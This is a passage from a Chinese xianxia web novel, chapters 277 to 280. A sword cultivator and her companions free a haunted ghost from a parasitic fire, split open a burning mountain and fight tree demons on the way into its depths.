“这倒是,”邬芽笑着说,“自然是厉害的剑修才能驾驭得了厉害的剑。” 话毕,转头又对眯着眼看情况的师弟道:“小九,你若是休息好了就去帮映心的忙吧。” 桑九心道她看起来压根不需要帮忙,但还是应了一声,手上慢慢启动法术、溢出灵水去浇那一分为二的火影鬼。 第277章 “这小子添什么乱?” 石映心听旋娉不高兴地嘟囔了一声,便停止吸收将剑收回,打算把已经被她削弱许多的火影鬼交给桑九处置。等这鬼身上的火熄得差不多之后,桑九便施展法术,将这只他亲自招来的鬼束缚在一圈圈咒文灵绳之中。 不久后尘埃落定,四人都有些累了,看着倒在地上、脑袋和躯体分别被咒文灵绳捆得五花大绑的火影鬼狠狠地松了口气。 “能不能把它脑袋和身体一起捆着啊?”曾换月不忍直视地提议道,“这么看它尸首分离的模样还挺渗人的。” 幽冥宗二人见过的死得奇形怪状的鬼多了去了,这火影鬼的模样还算可观的嘞;但考虑到外行人的心情,还是贴心地用灵绳将鬼的头和躯体绑在一起了,假装它没有被分尸。 曾换月这才松了口气,打量起那没人样的火影鬼来:“说实话,很难想象这鬼曾经是人。” “大部分鬼死后都是寻常人样的。”邬芽看向那火影鬼,试图解释,“也许这只鬼是死于火灾?” 却见那鬼闻言摇了摇头,还因为过于使劲,导致刚刚用灵绳固定好的脑袋又错位了。 曾换月嫌弃道:“哎呀快把他脑袋装好!” 桑九就再把他脑袋掰回去,用灵绳多捆了几圈。 火影鬼:…… 大概是这鬼过于埋汰,石映心便不太想照它,感觉怪受折磨的,于是问幽冥宗二人:“它不能说话吗?” 桑九说:“它说不了话可能是因为嗓子被烧坏了:要么生前就坏了,要么死后才被烧的;也有另一种常见的可能,就是厉鬼走火入魔后神志不清、丧失了人的功能,比如说话。” 就不知道这只鬼是什么情况了。 “什么情况都问题不大,”邬芽笑了笑,“我和桑九都有修习能和鬼心意相通的功法!” 和鬼心意相通?石映心有些奇怪:“为何会有这样的功法?” 邬芽理所当然道:“自然是为了帮鬼排忧解难呀。世上有许多因种种原因而不能投胎的鬼,它们不止是在幽都,还徘徊在人世间各处……地缚鬼就是其中一种。我们幽冥宗弟子的任务便是帮它们解决执念、重入轮回。” “可是许多鬼连自己的执念是什么都不清楚,尤其是那些被仇恨遮蔽了双眼、甚至走火入魔的厉鬼……和它们是无法沟通的,因此只有用‘心意相通’的功法探究它们到底想要什么。” “噢~原来是这样啊,”曾换月眨眨眼,“我还以为你们是干那些道士的活,到处去降胡作非为的恶鬼来着……” “这当然也是我们的分内之事,”邬芽解释说,“换月你说的这些就包括在我们的任务之中,因为大部分鬼都是有执念才会胡作非为……” 曾换月恍然道:“说得也是。” 石映心听到这已经很好奇了:“那么你们怎么和鬼心意相通呢?” 邬芽和桑九对视一眼,起了个手诀后,众人眼前飘起了一个火球,飘到略高于她们的地方,将这一小片地方照得很亮堂;与此同时,石映心似有所感地低头看去,瞧见地上出现了五道影子。 这就有些奇怪了。她看向火影鬼身边的影子说:“鬼也有影子吗?” “人们肉眼可见的影子只是最表面的一层。”桑九说,“我师姐的火光能照出深层的影子。” 石映心微微颔首:“人有九影。” 曾换月:“是哦!” 邬芽半开玩笑道:“哎呀,没想到刚教的知识点这就让你们用上啦。” 桑九看看三人,不太清楚她们在说什么,大概是师姐和她们说过幽冥宗有关“人有九影”的事吧;他也没兴致多问,只专注干自己的事:朝火影鬼的影子伸出手去,施法出一道细长灵水将自己与它的影子相连。 石映心见状便有猜测:邬芽她们无法“直接”与哑巴鬼对话,但能通过连结影子的方式进行“心意相通”。 桑九这时候说:“可以了,你们想问什么?” 曾换月试探地:“额,它叫什么名字?” 桑九瞅了眼鬼:“……它说自己不记得了,印象中有人叫他阿徐。” “阿徐?”邬芽又问,“问问他是哪里人,为何会变成如今的模样,又为何要在山上放火惹起火灾?” 阿徐鬼在地上扭了一下,嘴里“乌拉乌拉”的仿佛在激动地说话,但没人听懂它在说什么,只关注着桑九的动静。 这一下冒三个问题,桑九就静静地等待了好一会,皱眉道:“他措辞混乱地说了一大通……” 邬芽:“你简明扼要地说来听听。” 桑九组织措辞:“他说自己是汶上村的人,死了有几年了,不知为何离开不了此处;他也不知道自己为何会变成这样可怖的模样,前几日还是很普通的鬼,某日游荡着经过哪里,莫名沾上了火星子,一下子把他烧成这样了,嗓子都烧坏了不能说话。” “至于放火惹起火灾也并非他的本意,是控制不住……他说太热了,非常非常热,感觉身子里有一团火,整个鬼要被这团火烧死了;可快死的时候那团火就会从他的七窍中喷出来,这才点燃了枫林……” “喷出来后便会消停一些,但那团火依旧一直在他体内越发膨胀,方才不巧,我施法召唤时他体内火势最盛,几乎失去了自主的意识,才不知好歹地对我们出手……不过火势灭了许多后他就清醒了许多。” “身子里有一团火?”曾换月下意识看向师姐,嘴上是问幽冥宗二人的,“这鬼身首异处都能活,那把他剖开看看应该也没事吧?”就别麻烦她师姐了。 阿徐鬼奋力地支棱了一下:“呜呜呜!” “饶命啊。”桑九面无表情道,“这是他说的。” 曾换月:“你忍忍呗。” “忍不了啊。这是他说的。” 如果可以,邬芽当然也不想虐鬼,于是斟酌着:“我想想看有没有办法把他体内的那团火逼出 来……” 桑九看向师姐:“若他是骗我们的呢?” “他没有骗人。”石映心一眨眼睛,“他体内确实有一团火,我有办法将它取出来,但问题是取出来之后该怎么办。” 邬芽被她提醒了:“不错,那火肯定很危险。” 几人便陷入了思索。 石映心这时听到小师妹叹了口气道:“如果顾梦真在这,他也许有什么宝器能容纳这奇怪的火……” 桑九看向她:“顾梦真是哪位?” 曾换月:“我二师兄啦,一个器修。” “噢。”桑九顿了顿,忽然看向剑修道,“石映心,你的剑不是能吸收这鬼火?等我们将火取出来,你吸收一些后也许就能用普通的宝器收纳了。” 邬芽眼前一亮:“这倒是个好办法,映心你方便吗?” “啊?”曾换月有些担心,“这可以吗?我以前也没见过帝血剑有这样的本事啊?师姐你新开发的?” 石映心当然不能和她们坦白吸收鬼火的是她而不是剑,帝血剑只是个掩护罢了;不过这鬼火进了她体内目前没什么不适,反倒她还觉得暖洋洋的蛮舒适……但吸收火是旋娉的建议,她不太想顺她的意,因此拒绝道: “嗯,是我刚学的剑法,不过还不熟悉,不便再用。” 听她这么说,大伙自然不可能让她冒险,于是又想其他办法。 就这一会的功夫,却见地上躺尸的阿徐鬼猛地一个激灵,居然开始挣扎;几人诧异地望去,看他没人样的鬼脸也显出格外的狰狞和痛苦,原先只剩下血肉模糊的躯体上乍然冒出点点火光,尤其在幽黑的七窍中。 他越挣扎,身上的咒文灵绳就缠得越紧,几乎将他本就干瘦的躯体捆得快爆了——那断掉的头颅就这么被挤了出了,如球一般在地上弹了两下,突然转身大张嘴巴一边喷火一边朝几人冲来—— 曾换月眼疾手快地飞去一张降雨符,贴在他脑袋上。哗啦啦的水声从淋了阿徐鬼一脸,他进水的脑袋总算安分了一些;桑九增强了对影子的控制,阿徐鬼躁动的躯体也渐渐消停下来。 “不行,”桑九额上冒了些冷汗,转来朝几人严肃道,“他体内的火烧得很快;而且我猜测,若不是我们方才熄灭了他的火势,他很有可能会被那火烧得魂飞魄散、灰飞烟灭。” 邬芽也面色沉重地颔首道:“看来他的魂体承受不了内里的火……难道我们要眼睁睁地看他受这样的折磨甚至死去?” 石映心听出了邬芽的不忍心,不只是邬芽,桑九也是,她们似乎都不想看鬼“死”去。剑修便主动道:“那么,不管如何,先救下这条命。” 幽冥宗二人有些诧异地看向她,片刻后用力点头道:“好!” 师姐都这么说了,曾换月自然没什么意见,已经取出一大堆的降雨符在边上严阵以待了。 邬芽本是说可以让她来试试取火团,但石映心觉得还是她来比较好,若是那火势确实骇人,她还能趁机吸收一些;于是决定由桑九固定住阿徐鬼的脑袋和躯体,邬芽和曾换月在边上辅助。 石映心往帝血剑上施法后,让剑尖逼近阿徐鬼的腹部,营造一种是“帝血剑吸引火团”的架势,缓缓地将剑往上移去。 随着她的动作,阿徐鬼感到那团火在往他的喉咙挤去,连忙大张嘴巴,面孔狰狞地配合着。石映心并不犹豫,剑尖一到喉咙口便使劲将那火团吸引了出来——紧接着飞速将帝血剑刺去! 第278章 那团火球在显世的瞬间,滔天的火光铺天盖地般猛扑而来,但凡长了眼睛的都得关上眼皮避其锋芒。剑修紧闭双眼举着剑,她能感到一股热量从剑尖的火球上顺着剑身直冲她来,一时竟让她不能放开。 “哈哈哈哈!哈哈哈哈……” 谁在笑? ……旋娉! 石映心勉强睁开眼睛往剑尖看去,在刺目的光芒下她无法看清,只瞧见一团……嗯,就是火球。她这时真拿不准主意,直觉上知道自己不能再拿着这烫手山芋,但问题是也不能就这么扔了,那不是放火烧山吗? 犹豫之时,石映心忽然感到有一阵轻微的凉意传来,眯起眼睛看去,是紧闭双眼的桑九在往这边浇水;边上的小师妹也在试图启动降雨符,但大多数符箓在接近火球的一瞬间就被烧化了,只释放出一些小水。 又听到邬芽的叫声:“映心你没事吧!?” “没事……” 开口说话才发现声音的沙哑,石映心突然感到自己的喉咙好烫,但可怖的是这股滚烫从竟然往下冲去,像是不慎吞下一口热食,直接顺着喉咙而下烧到了胸膛,心脏也觉得被烫着了。 不行……她好像不能再吸收这火球的力量了。 “不行——小镜子、小映心,你再忍忍!”可就在她打算不管不顾地扔掉火球,随便它要烧山还是干嘛的时候,又听到旋娉的声音,“这火一旦脱离你的掌控,不止是这宋山,就连汶上村也会被牵连!” 石映心:……真的假的。 “你不会有事的。”旋娉的声音坚定中带着些温柔的蛊惑,“我保证,我不会让你出事的,只要你再忍忍……” “旋娉,”好在和旋娉说话只要想一想就好了,不然她这会真没力气动嗓子,“你究竟想做什么?” 旋娉似乎笑了一声:“你不必担心不会知道,再等等我吧小映心,很快……很快我就能……” “师姐!” 忽然一阵冲击撞来,石映心僵硬却使劲地控制着帝血剑的手猛地一发麻,剑身急速颤抖了一下,在她反应过来时已经将那火球扔出去了。 烧心的感觉瞬间褪去,石映心脱力地半跪下来,帝血剑掉在地上,剑身上的余热滋啦地下方的枯草皮烫出烧焦的黑烟。剑修捏了捏右手胳膊,感到发酸的僵硬。 “师姐你没事吧?”小师妹焦急地打量她的情况,“你为什么不扔掉啊?” 石映心只好说:“我想还能撑一会。” 曾换月责怪道:“你真是把我吓到了,做人不能硬撑的……” 这时邬芽和桑九也赶来,看石映心一副虚脱的模样,又是关心又是内疚,说什么“你千万不能出事啊”“都怪我们没阻止你”之类的话;这几人絮絮叨叨的时候,石映心偷摸地把注意力溜向她扔掉火球的方向—— 眼睁睁地瞧见一阵灰烟冒出,带起一阵火光。 “那什么……”她不得不打断几人的关心,“要不我们先想办法灭火?” 大伙抬眼望去,意料之中的惊讶,谁都能想到丢掉火球是这样的下场,但总不能让石映心再冒险,她们已经尝试过了;于是就决定让邬芽留下处理阿徐鬼,其余几人争取去把火灭了。 曾换月的降雨符这几波已经消耗得差不多了,仅存一些做备用;她这会干脆拿出她二师兄的降雨云舟来,直接飞在火势上头下雨。 桑九本想用自家的法术浇水,但瞥见这云舟后和曾换月道:“幽冥洲旱灾这段日子,弟子们已学会了驾驭你们归壹派降雨云舟的功法,我来帮你?” 曾换月说好啊好啊,二人便一同对云舟施法,加大了雨势。 石映心被师妹安排在云舟上休息,她站在舟边缘俯瞰着下方的景况,看着火势在磅礴大雨之中渐渐消散,总觉得哪里有些不对劲。 思酌片刻,镜灵还是照了照。 这一看真不得了,原来她们能瞧见的“火”不过是冰山一角;就见那高大巍峨的山体之中,竟有无数的通红的火光,一条条纵横交错如蛛网一般缠绕着山体;又仿佛本就是这宋山的经脉一般,火就是它的血液,源源不断地流淌着。 怪不得……怪不得这火能灭,却灭不完;因为她们灭的不过是“外火”,而引发“外火”的“内火”却无法浇灭,如此才能源源不断地催生…… 石映心:OO 师父说解决问题要拔本塞源,石映心这会便开始想怎么劈山了;不过……她揉了揉自己的右手,依旧有些麻麻 的,可能还得再休息会。 此时此刻她想,若是大师兄在这的话,和他联手劈山便会轻松多了。也不知道大师兄和二师兄他们现在情况如何,是否已经醒来? “映心!” 石映心抬头看去,瞧见邬芽朝她飞来,落在云舟上后又开始关心她:“你还好吗?身体恢复得怎么样了?” “我没事。”石映心问,“那只鬼呢?” “被我收入储物袋中了。”邬芽松了口气道,“多亏了你,取出火球后他便恢复了寻常,起码免了性命之忧;不过后续还有的折腾,要先交给我们幽冥宗检验,然后再送去幽都……不过也是应该的流程,毕竟阿徐的情况实在古怪。” 邬芽没细说,但石映心很快想明白她说的古怪是什么:“他不是走火入魔?” “你真聪明,”邬芽舒了口气道,“他基本没什么恶念,按理来说不会变成这倒霉模样;我推测他可能是被那火球寄生了。” 石映心眉心一跳:“寄生?” “嗯,也是很罕见的情况。”邬芽面目严肃地解释道,“一些孤魂野鬼若是在人间逗留,不走运遇到些邪祟什么的,因为二者灵场有相融之处,就很容易被邪祟缠上,鬼本就意志薄弱,很容易受邪祟驱使去为非作歹……” “原来如此,”石映心微微颔首,又说,“可我看那火球不是邪祟。” 谁知邬芽听了这话却是一愣:“不是邪祟吗?” 石映心都吸收了那灵火,自然感到其中的能量成分,确实不是邪祟,反而是女娲神力;其实她早有预料,不然旋娉也不会撺掇她这么干。 任谁听说“女娲神力”一词都会觉得是好东西,她原先也这么认为,所以旋娉怂恿她时,她多少有些蠢蠢欲动,问题是她实在警惕旋娉,心中便有矛盾;如今看着火球在宋山上的胡作非为,石映心的想法有所改变: 女娲神力并不全是好东西。 ……不准确,应该说:拥有女娲神力的人并不全是好东西。 她不想指名道姓,但眼下的情况,这个念头本身就非常意有所指。 “映心?”邬芽见她有些放空,以为她还难受着呢,“你真的没事吗?” “真的没事。”石映心回过神来,斟酌着怎么和邬芽说,“若真是邪祟……那火球也不算是本体。” 邬芽眉头一皱:“你的意思是,这火球只是邪祟的一个分身?” 算了,就先这么叫吧:“不错,邬芽,你没发现火球不见了吗?” 邬芽下意识看向下方已经被灭得差不多的火势,这会只剩下袅袅的黑烟和一片废墟了:“不见了……我以为它是分散到这些树上着火了。” “不,”石映心微微摇头,“它是潜入山体之中……算是回归本体;看起来我们是灭了火,但藏在山中的真正的火种并未被解决,很快便会死灰复燃;就算没了阿徐,也有下一只鬼;就算所有鬼都死了,它也有其他办法出来。” 邬芽不知她是如何在短短时间内得知了这么多信息,但对方镇定自若的语气和“就是这样”的神情让她很是信服:“竟有这么严重……那我们该如何是好?” 石映心:“解决根源。” 邬芽心说这确实:“好,你的打算是?” 石映心:“把山劈开。” 邬芽心说这确……等等这不对吧:“把山劈开?真的吗?” 倒是不怀疑她能否做到。 “嗯,”石映心此时闪着睿智的眸光,“这是最简单的办法,把山劈开后看看那所谓的邪祟究竟是什么。” 邬芽讶然地张了张嘴,心里还是觉得很不对,但又没法反驳她,只好试探地问:“额,映心你可有猜测本体是什么?若是什么危险的邪祟,也许还是将它先封闭在山中,等我回禀宗门请求支援比较好……”这也是她方才的打算。 石映心却摇了摇头:“来不及了。” “为何这么说?” “你看。”她抬头来,目光投向遥远的天边。 邬芽顺她的示意望去,就见漆黑的夜空中有一道明亮的星辰破空而来—— 前端一团红像火球一般,异彩的尾焰似五彩斑斓的火光,弯曲呈旗形;它寂静无声却来势汹汹,仿佛要将冷寂的黑幕燃烧撕裂;就这么飞快地穿过宋山上的这一片天地,很快消失在凡人的视线之中。 “这是,”邬芽看入神的双目追着星辰消失的方向,不自觉喃喃道,“……蚩尤旗。” 不夸张的,石映心这会感到灵魂都颤抖了一下,她完全无意识地就抓住了邬芽的手腕,脱口而出:“你说什么?” 邬芽一吓:“什么?彗星?” 石映心胡乱地问:“你说什么旗?” “蚩尤旗?”邬芽有些惊讶她的失态,“古籍上说,‘状类彗而后曲,象旗’的彗星被称为蚩尤旗。” 石映心很快冷静下来:“这是为何?” 邬芽道:“古人认为这类彗星天象是世间将要出现动荡和战争的征兆,有人便将它和上古战神蚩尤联想,命名为蚩尤旗。” 第279章 “不过还有一种说法……”邬芽瞅了瞅石映心若有所思的神色,继续道,“蚩尤旗便是蚩尤的一缕残魂,好战的战神感知到人间将有祸患,心中兴奋激动不已,便化作星辰莅临世间,像是一种宣泄吧……映心,你在想什么?” “我在想,”石映心抬眸看向邬芽,转而又望向她后方的一片焦地废墟,“你不觉得方才的彗星和那团火球很像吗?” “像吗?那团火球太亮了,我不敢仔细看,没注意。”邬芽微微摇头,敏锐地察觉到什么,“不过映心你这话的意思是……怀疑火球的成因和这几日的彗星异象有关?” 石映心点头。 邬芽:“可是……” 不等她多说,下方突然传来两道声音,是灭完火的曾换月和桑九飞了上来。这二人被火搞得灰头土脸的,脸上的笑容显得有些傻气。 曾换月邀功道:“师姐,你看我们把火都灭了!” 石映心朝她赞扬一笑:“做得好,换月。” “嘿嘿。” 桑九抹了把脸,瞅了眼手上的脏污,有些嫌弃地拍了拍后再施法清理干净:“师姐,我们接下来要做什么?” “额,”邬芽看了看石映心,“这个,映心方才说要那什么……” 石映心颔首道:“嗯,多亏了你们把火灭了,方便了我劈山。” 桑九:“什么?” 曾换月:“不客气啦师姐~” 桑九看向他师姐:“劈什么?” 邬芽指了指脚底下。 桑九嘴角一抽,心说这家伙该不是认真的吧,怎么说这也是座千百年的老山了,边上还有众多村落,就这么不管不顾地劈了总觉得不太好……但就听对方已经安排起来了。 石映心:“劳烦几位帮忙搜查山上可否有凡人,免得误伤无辜。” 邬芽应了一声又想到什么:“好……不过这会误伤到那些孤魂野鬼吗?” 石映心琢磨了一下:“我想会有影响,你有办法将它们驱散吗?” “有是有……不过,”邬芽还考虑到什么,“我记得这宋山上有几处村民们划分的风水宝地,是专门用来埋葬亲人的……” 石映心说:“这些腐败的肉身骨灰,并不在我的考虑之内。” 邬芽一愣,随即笑道:“不错,有时候考虑太多反而不是好事,当务之急自然是解决宋山中的祸患。” 石映心满意她的配合,接着又交代了一下她劈山时几人所处的方位在哪合适,以防意外发生。 桑九一边听着,一边给师姐传密音:“师姐,我们真的要照她说的做?” 邬芽道:“如今也没有更好的办法。若是再着火一次,就怕我们都无力再消灭火势,不如就照映心说的做。” 桑九心里纠结了一会,忍不住道:“师姐你很相信石映心吗?” 邬芽“嘶”了一声:“你还真别说,不知为何我一见她便感到许多熟稔,而且她说的话总让我觉得很有道理,很想照她说的做……” 桑九:Oo 他觉得这很不对劲啊,自家师姐虽然本就是热情开朗的性子,但对陌生人该有的警惕性还是有的;为何同这个石映心相处没多久就这么信任她呢?不可能仅是因为对方是归壹派的道友吧?师姐可不会名门崇拜。 那家伙究竟给师姐下了什么迷魂汤? 这样不行…… 桑九思绪着急慌乱间见石映心已经准备让几人分散开来去巡山了,来不及多想便咬牙下定了决心,看向邬芽道:“师姐,你不要太相信她,皮皮就是死在她的帝血剑下!” 他话一出就愣住了,一片寂静和那几双投来的目光,才让他后知后觉自己方才不是在传密音诶。 不敢挪动目光,他只能眼睁睁看着师姐的眼里渐渐升起对他的同情,咬唇安慰自己:没关系,只要他不尴尬尴尬的就是别人…… 不行,做不到,还是好尴尬…… 在这窒息般的寂静后,另一位当事人石映心说话了:“皮皮是谁?” 桑九:。 很好,不尴尬了,现在他要气死了。 “你居然忘了皮……” “咳咳咳!”邬芽连忙拦住面色通红的师弟,和石映心二人解释道,“皮皮是桑九的灵宠,不过……额,去年意外去世了。” “我想起来了,”石映心有些印象,“是那条……小鸟蛇?” “小鸟蛇?”曾换月双眼一瞪,“小蛇鸟?” 灵宠的主人就在眼前,真是个问清楚的好时机,石映心虚心请教二人:“所以究竟是鸟还是蛇呢?” 邬芽便想了想:“师父和师祖说是鸟类,不过依我看,说蛇也行。” 曾换月回忆梦中的情景:“我觉得更像蛇诶。” 石映心赞同道:“是很难分辨。” 邬芽:“其实我们有时候也……” 桑九:…… 他忍不住提醒几人:“喂,这是重点吗?!” “确实不是。”石映心很快回过神来,“现在的重点是劈山。” 桑九:…… “等事成之后,”剑修朝桑九微微颔首,“我再与你解释这个误会。” “误会,我就说是误会嘛!”不等师弟说什么,邬芽就拍拍他肩膀,开朗笑道,“映心怎么可能是那种随意杀害别人灵宠的人呢?其中定有误会。好了,你也消消火吧,等我们干完正事再说。” 搞什么,师姐也太信任她了吧……虽然除了皮皮的事外,石映心的所作所为确实也不像是坏人……也许其中真的有误会? 于是先将此事抛到一边,几人先去巡山。由归壹派二人搜查有无凡人在山上逗留,幽冥宗二人则是驱赶孤魂野鬼。不过多久后四人碰头,交代了完成任务的情况。只是但邬芽有个疑点: “方才我们召唤阿徐的时候,分明听到了那么多的鬼哭狼嚎,可我和桑九真正遇见的孤魂野鬼却没几只,而且都是普通的低阶小鬼,不可能弄出这么大动静……这是为何呢?” 桑九也目露思索:“和我的召唤术应该没多大关系,毕竟村民说这段时日晚上常常听到。” “啊?”曾换月理了一下思绪,“什么意思,就是说没有鬼却听到鬼叫吗?闹鬼却没有鬼?” 石映心幽幽道:“也许那些鬼就藏在山中。” 听着真是个恐怖故事。但大伙也意识到,石映心说的“劈山”并不只是把山劈开后就万事大吉了,八成还有新的危险。可她们这时也没招了,现在折腾一通都快天亮了,事已至此,再拖延一日显然不成。 硬着头皮上吧。 几人按照石映心排布的位置飞到了空中,专注地盯着剑修的动静,各自做好了准备。 石映心琢磨着该用哪招剑法。劈山听起来简单,好像切肉一般,她也并未对换月她们再多解释;但自己心里清楚并没那么容易,毕竟这山里可长了“血脉”,她得好好琢磨该用哪招…… 自家门派学来的剑法都厉害,但似乎差了点什么;之前摘星大会秘境中偶然习得的劈天,威力是足够的却不够细致;大师兄的吹雪凝霜倒是克制这“火山”,不过那是群攻技能……还有什么? 她总觉得有什么没想起来…… “映心怎么了?”邬芽看向离她有些距离的曾换月,好在她们六识灵敏,“为何迟迟不动手?” 曾换月朝她摇摇头:“不知道欸,不过没事啦,师姐有打算的。” 邬芽:“好。” “想不到么?要不要我好心提醒你?” “不用。”石映心垂眸看向下方的山头,手上挽了个剑花起势,“我已经想到了。” 罗宝山,帝女石窟,那个落下阿央白石光辉的破洞。 旋娉笑了:“你真是聪明。” 石映心合上双眼,回忆着自己飞入破洞之中所经历的一切,一条条铺满光的路,一扇扇神秘的门……还有一切的尽头,一切的开始:阿央白石。待她将帝血剑一转,剑身上已然镶嵌上一块半个椭圆形状的石头。 她需要阿央白石的力量。 邬芽远远望着剑修舞剑,那奇妙的剑光亮起又消散,像夜空中划过的星辰,看得她眼花缭乱、无比惊奇;心中的震撼还未消散,就见剑修轻跃而上,如飞鸟点水般轻盈却气势十足地一剑劈下—— 无声无息。 不错,并没有她预想中的、轰然的动静出现,居然是无声无息的;甚至她都没看见那山上有裂纹出现……不,等等。邬芽眯起眼来仔细看去,是有裂痕,但并不是大刀阔斧的一道,而是细密如蛛网一般错综复杂的小裂痕。 这些裂痕中冒出火光熠熠生辉,仿佛是山体的血液在流淌。邬芽想起石映心说“火球算是邪祟的一个分身”;难怪、难怪,有这些源源不断的“血脉”,解决了一个火球也会有下一个。 果然映心的想法是没错的。 这一边的石映心劈完了山,便想着冲进裂缝里到山中一探究竟,但刚到裂缝口却有骇人的火势从里头迸发而出,竟让她不能接近。 啧,这里头的家伙真难办。 她想招呼曾换月,正巧见她赶来,兴奋地说:“哇塞师姐你太厉害了!现在怎么说?降雨符快没了,云舟也灵力告罄还在恢复之中……不如让我呼风唤雨试试?” 虽然她没啥信心吧,毕竟师父的大招耗蓝还成功率不高,但这会死马当活马医呗,反正还有师姐兜底呢。 “行,”石映心朝她颔首道,“最少浇灭一道裂缝让我进去。” 听着要求不高哈,曾换月兴致勃勃地撩起袖子拿出一叠符箓,有些信心道:“好嘞!” 第280章 就见符修将符箓天女撒花般抛向天空,那些符纸如众多蝴蝶破笼而出似的互相撞了撞,很快就各自分散开来,在夜空中摆出了一幅金黄的符阵,夜风吹得它们哗啦啦作响。 曾换月起了手诀,往天上一指,朗声道:“呼风唤雨!” 转瞬之间,深黑的夜空中显出一大片乌云,云层间夹杂着丝丝雷光,随着符修一阵高兴的“成功了我咋这么厉害”的欢呼,雨水纷至沓来。 曾换月发觉自己现在施法的成功率和准确率变高了许多,她真是为自己骄傲;当然仅是自己骄傲是不够的,这会她还想去和师姐以及幽冥宗二人求夸奖;于是转头看向师姐,却见她目不转睛地盯着裂缝等候时机,曾换月竟然冒出不该上前打扰的念头。 那就去找邬芽她们……咦,邬芽和桑九呢? 曾换月左顾右盼东张西望了一会,空中没有……难道在山上?可这会的山处处是冒着火的裂缝,虽不至于完全烧起来,但此时的宋山就像是一座喷发后的火山,处处覆盖着流淌的熔岩,瞧着非常可怖。 奇怪…… 就在她寻找二人时,忽然听见风带来的声音:“映心,换月,救——” 曾换月猛然往声音传来的方向看去,紧张的视线有些慌乱,好在还是找 到了那二人:这师姐弟俩居然被树缠住了! “师姐!”曾换月吓了一大跳,连忙呼叫师姐,“快看那边!!” 石映心瞅了瞅在雨势下渐渐熄火的裂缝,耳朵微动,身形凝滞了一会后转身往下方飞去。 “师姐!”曾换月紧跟上她。 邬芽和桑九这会可遭罪了:这些枫树不知何时产生了异变,妖魔化的枝叶乱舞着,大概是趁二人不备时将她们五花大绑地捆住了手脚,还狡猾地捂住了她们的嘴巴,叫二人无法呼救。 好在邬芽灵机一动,从喉咙里喷出火来,将禁锢着她嘴巴的枝条烧了,这才有机会求助。 现在石映心来了,几个招式就将纠缠师姐弟俩的枝条歘歘歘地砍掉,在它们未来得及复生的时候就把她们拎了出来,扔到了曾换月的御物宝器上:“往高处有雨的地方飞。” 曾换月一手扶住一个:“收到!” 她们往上飞的时候,那些枫树也不断地伸长枝条要去追她们——没错,是追她们,竟有意识般地避让着石映心,好像知晓此人不能招惹。 “咳咳……为什么……”桑九的声音沙哑,是刚刚被勒的,他诧异地看着那些枫树枝条绕过石映心往上飞来,“它们为什么不去缠石映心?” “奇怪咳咳……”邬芽看向师弟,“难道是针对我们的?” “不是啊,”曾换月挠挠脸道,“刚才也有来缠我的,不过我躲在师姐后边呢。” 见二人沉默着的疑惑脸,她又开朗道:“哎呀,大概是这些树妖也知道我师姐厉害吧,这才不去送死呢哈哈!” 幽冥宗二人:……真是这么简单吗? 但好像也没有更合适的解释了。 另一边,树妖们虽不去招惹石映心,但后者并没打算放过它们。此时正御剑空中,抱臂静心等待着;等无数根夹杂着锋利枫叶的枝条如万箭齐发般越她而过时,她才轻启身形,一点脚下的帝血剑让其飞至手中,不紧不慢地挥出一剑—— 剑光如扇面在空中展开,一瞬间遮蔽了山下的火景,将这片天地切分开来,仿佛只是顺便斩断了无数枝条;顷刻间所有的枝叶蔫巴衰亡,变成枯萎的尸体尽数落下,归尘于山上一片火海。 地下的妖树竟也因此而死去了不少,可见从断裂树枝上传来的剑气如此骇人。 桑九震惊地看着这一幕,喃喃道:“这是什么招数?” 曾换月也不知道啊,她又不是剑修:“我师姐厉害吧!” “你们归壹派的剑法竟有这么大的威力……”邬芽觉得自己见世面了,“会很耗费灵力吗?” 曾换月哪里懂:“不知道哇,反正我师姐修为高,灵力很多的!” 她不说二人也看出来了。 桑九这次再遇石映心,本来还有为皮皮讨回公道的想法,现在这念头是和那些妖树一般蔫巴得透透的了。 她们本还想多看看剑修的厉害之处,但这会已经飞入了曾换月呼风唤雨招来的雨幕之中,眼前的一切画面都变得模糊。 曾换月扒拉着御物宝器的边缘往下看去:“这大裂缝的火好像快灭了。” 邬芽颔首道:“是啊,但是宋山上的小裂缝太多了,这样下去要灭到什么时候……” 桑九说:“等会我去帮忙……” 曾换月道:“好啊好啊,等会我师姐要进到裂缝里去,你和我一同跟着去吧,我的降雨符也快没了。” “……进到裂缝里?”桑九眉头一皱,“会不会太危险了?” 曾换月不以为然:“有我师姐在你怕什么?” 桑九:……对,是你师姐。 他师姐邬芽这会缓过神来了,变出一张全黑的纸来,飞快地用灵力在上头写着什么,被曾换月问了才分心解释道:“这山太过古怪,我得请求宗门支援。” 曾换月“哦”了一声:“也好,以防万一。” 等邬芽送出信的时候,石映心也飞了过来,交代道:“尽量别让雨停,我进山中一探。” 曾换月连忙举手:“师姐我跟你一起去!” 石映心却拒绝道:“这阵法是你招来,若你同我进去,怎么维持?” “好吧……”曾换月转而推荐另一位选手,“那让桑九随你进去!” 石映心瞅桑九一眼:“行,走吧。” 桑九一开始没动弹,看向他师姐,却得到一个鼓励的点头;只好叹了口气,认命地起身随石映心往裂缝飞去。 那条大裂缝的火势看起来已经灭得差不多了,只剩下一些零散的火星,二人很容易就进入了其中;里头是一条条错综复杂的、在剑修的劈山之后自然断开的石间通道,有宽有窄,有长有短,交错复杂,偶尔还会从哪里喷出火来。 桑九遇火本想灭,却见石映心把手一伸,那火就……不见了? 咦,那他的作用是? 算了,不管了,反正有石映心在前方开路,她们走得非常顺利……但细细一想,顺利才是奇怪的,他跟了一会便有疑惑:这些“路”都是刚形成的,而且非常混乱,为什么石映心却好像知道往哪走似的?左转右弯上飞下落都非常有目的性。 好像有什么在指引她一般。 一直没说话的桑九忍不住开口问道:“石映心,你知道要去哪里吗?” 石映心头也没回:“知道,你安分跟着我便是。” 桑九跟着她转了个弯,又问:“你是在找什么?” “不是说了么,解决根源。” “是……难道你已经知道了根源是什么?” 石映心回头瞥了他一眼,眼中似乎有些警告的意思:“情况危急,你要我同你解释得多详细?” 桑九竟一下感到可怖,连忙闭上了嘴。 他就这么一路跟着石映心飞啊飞,完全不清楚自己走了什么路,只知道大致方向是往下走,难道是要去山底的某处? 越往下走,越感到火热,桑九不停地擦拭着身上的汗水。过了一会,石映心总算停下来问他:“可有办法抵御这热浪?” 桑九总算等到派上用处的时候,因此松了口气:“有。” 他给自己和石映心罩了一层厚厚的冰屏障,如此便能隔绝热浪。但冰会融化,于是他时不时要施法加固;越往下走,冰融化的速度就越快,他加固的时候耗费的灵力也越多,桑九意识到她们已经来到了一处非常危险的地方。 这会他处在冰屏障之中也大汗淋漓,不是热的,是累的。 到底还要走多久?问也不敢问…… 好在没让他等太久。 